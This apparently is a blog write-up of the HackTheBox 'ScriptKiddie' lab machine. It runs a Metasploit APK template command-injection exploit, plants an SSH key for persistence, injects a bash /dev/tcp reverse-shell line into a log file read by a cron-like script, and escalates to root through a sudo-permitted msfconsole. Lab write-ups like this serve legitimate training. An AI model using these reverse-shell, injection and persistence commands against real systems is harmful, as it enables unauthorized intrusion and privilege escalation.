0xPThree

Pentester, HTB enjoyer
0-day contributor

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  1. [root:/git/htb/scriptkiddie]# nmap -Pn -sCV -n 10.10.10.226 (master✱) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA) | 256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA) |_ 256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519) 5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5) |_http-server-header: Werkzeug/0.16.1 Python/3.8.5 |_http-title: k1d’5 h4ck3r t00l5 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

DIRB: -

NIKTO: -

  1. Testing the input fields for input sanitation, find nothing of use. Being able to upload payload template files sounds odd and is probably worth digging deeper in.

    Metasploit has a module for creating malicious APK templates, lets try it and see if we can grab a reverse shell.

    msf6 > use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection [*] No payload configured, defaulting to cmd/unix/reverse_netcat msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LHOSTS 10.10.14.4 LHOSTS => 10.10.14.4 msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LPORT 4488 LPORT => 4488 msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > run [+] msf.apk stored at /root/.msf4/local/msf.apk

    [root:/git/htb/scriptkiddie]# mv /root/.msf4/local/msf.apk exploit.apk

    Uploading the template (exploit.apk) and pressing “generate” gives me the error message: “Something went wrong”. Read about it on the forums and find someone saying to make sure Metasploit is running on the latest version. Update, upgrade and test again.

    msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set lhost 10.10.14.4 lhost => 10.10.14.4 msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set lport 4488 lport => 4488 msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > run [+] msf.apk stored at /root/.msf4/local/msf.apk

    Upload msf.apk and press “generate”

    [root:/git/htb/scriptkiddie]# nc -lvnp 4488 (master✱) listening on [any] 4488 … connect to [10.10.14.4] from (UNKNOWN) [10.10.10.226] 47236 whoami kid python3 -c ‘import pty;pty.spawn(“/bin/bash”)’; kid@scriptkiddie:~/html$

    kid@scriptkiddie:~$ cat user.txt cat user.txt 5b891f5e20131d5de2f53b54ef3d7782

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  1. Create a stable shell by adding pub key to .ssh/authorized_keys

[root:/git/htb/scriptkiddie]# ssh-keygen -t rsa (master✱) Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): /git/htb/scriptkiddie/kid-id_rsa Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /git/htb/scriptkiddie/kid-id_rsa Your public key has been saved in /git/htb/scriptkiddie/kid-id_rsa.pub The key fingerprint is: SHA256:s9bcIqIjG7KEjauufCkNPenOdi/7ky/1ytozY8bjHYQ root@nidus The key’s randomart image is: +—[RSA 3072]—-+ | | | | | | | . | | . . SE . | |.+ + .. | |+. o . B =.. | |o=oB.+ oX.o. | |Oo=oo=+O**. | +—-[SHA256]—–+

kid@scriptkiddie:~/.ssh$ echo “ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHi3TbD+fe7fOG2dQmwrmhFQHpJZ4bfJdh4cEEVrEeQyzOpfitMLixOQ9LjUEh+SPUpBEghi0bODevh+dBaw5XBcl9tJXrq21369X+DB2iKnXxk4KMwnJXWJ1CCO5RXRbFx2Ha7pM3jBzKwwQhsgV0aq/LXOPmWK5rfC17GBjB24EOl2QQ5juvjFM61fwesJ3jIGeFMZh846cDQMiYbVlvizg9YxWqZxScVfYBSG1MjgPbg0YwTwdCH47T807Qvbuz6KrEOPhMSADOFh0/lpAe7n8nmHZkGuwOSry3KKR/j523yOATiu8yX0PYy2h0Twp/DDHNxuLoII8abV18GM8rWk53DUw/eCuvKTEaqImJAMh8yUIdWSaYWbiVTh9UvC0Irb7X8a9bej2/+nC5bDJ+ujUKA1TIW2WaeKKLTHZVNKSFNv3i2nuvxlgv+73u3jifbFV9h5qTKg3bCHg+DzgYyVJczT2Id7018I/vlwG9vrAIfDfJ8CjwzWV1ubMlYs0=” > ~/.ssh/authorized_keys

[root:/git/htb/scriptkiddie]# ssh kid@scriptkiddie.htb -i kid-id_rsa kid@scriptkiddie:~$

  1. Enumerating the box we quickly find /home/pwn, and within the script scanlosers.sh. The script looks on the file ‘/home/kid/logs/hackers’ and scan their IP with nmap. Maybe we can inject some code in this file and get it to run as user pwn.

    kid@scriptkiddie:~/logs$ echo “test &/bin/bash -c ‘bash -i >& /dev/tcp/10.10.14.4/4488 0>&1’” » hackers

    [root:/git/htb/scriptkiddie]# nc -lvnp 4488 (master✱) listening on [any] 4488 … connect to [10.10.14.4] from (UNKNOWN) [10.10.10.226] 47908 bash: cannot set terminal process group (866): Inappropriate ioctl for device bash: no job control in this shell pwn@scriptkiddie:~$

  2. As user pwn, look to see if we have any sudo privs.

pwn@scriptkiddie:~/.ssh$ sudo -l Matching Defaults entries for pwn on scriptkiddie: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User pwn may run the following commands on scriptkiddie:
    (root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole

pwn@scriptkiddie:~/.ssh$ sudo /opt/metasploit-framework-6.0.9/msfconsole msf6 > cat /root/root.txt [*] exec: cat /root/root.txt

b679a52ec65c3c4a12445dc29832ef74

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apk code injection https://www.rapid7.com/db/modules/exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection/